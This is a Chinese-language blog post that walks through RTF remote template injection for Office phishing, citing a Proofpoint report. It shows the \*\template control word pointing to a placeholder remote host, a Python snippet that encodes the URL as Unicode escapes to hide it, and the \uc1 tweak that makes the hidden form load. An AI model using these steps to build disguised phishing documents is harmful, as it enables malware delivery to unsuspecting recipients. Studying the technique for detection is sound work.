Office RTF远程模板注入
远程模板插入
ProofPoin最近写了一篇文章,报告中提到近年来RTF模板注入进行office钓鱼攻击的数量增加。之前还没怎么了解过RTF模板注入的,现在和小编一起去看看吧(笑hhh)。
相对DOC模板注入的创建而言比较简单,创建一个rtf文档,使用office word进行编辑,随便写个内容。
保存之后会发现文档从原来的几个字节大小变为几十KB。这是因为里面添加了大量RTF文档格式属性字段值。
那如何进行模板注入呢,RTF文档支持一个相关的控制字段:*\template,该字段值需要跟着使用的模板名,整个属性字段需要使用大括号括起来。
然后直接使用文本编辑器打开之前保存的rtf文档。进行远程模板注入的话,插入的内容形如:{\*\template hxxp://xx.xx.xx.xx:port/xxx.xxx}。至于插入位置,经过测试,放在大括号后面,前面,或是之间,都可以获取远程模板。例如:
插入字段并保存修改,再次使用Word打开,成功实现了模板注入。
Unicode形式URL模板插入
更进一步,*\template字段参数值可以为Unicode,可以更好隐藏自身。关于如何将Ascii转为Unicode表示形式,参考[3]文章如下。
Python代码表示如下:
def trans(url):
return ''.join(['\\u'+str(-(0xffff+1-ord(c)))+'?' for c in url])
那如何自制一个RTF Unicode模板注入呢?在原本基础上直接修改\*\template
的属性值没用。而按proofpoint文章中所说,涉及到\*\wgrffmtfilter
字段,然而查看相应文档,并且经过一番测试,和该字段实际并无关系。通过比对一些网络上的相关技术利用样本后发现,该方式应是和RTF文档首部的\uc
字段有关。
\ucN:指定当前大括号中\uN表示的UNICODE字符对应的字节数。
现在只需要修改\uc
为\uc1
(在中文环境下默认保存为2),然后使用和第一节中相同方式将\*\template
字段插入文档,可成功实现。
参考:
[1] https://www.proofpoint.com/us/blog/threat-insight/injection-new-black-novel-rtf-template-inject-technique-poised-widespread
[2] http://www.biblioscape.com/rtf15_spec.htm
[3] https://ciberseguridad.blog/decodificando-ficheros-rtf-maliciosos/
本文来自博客园,作者:Bl0od
转载请注明原文链接:https://www.cnblogs.com/zUotTe0/p/15659420.html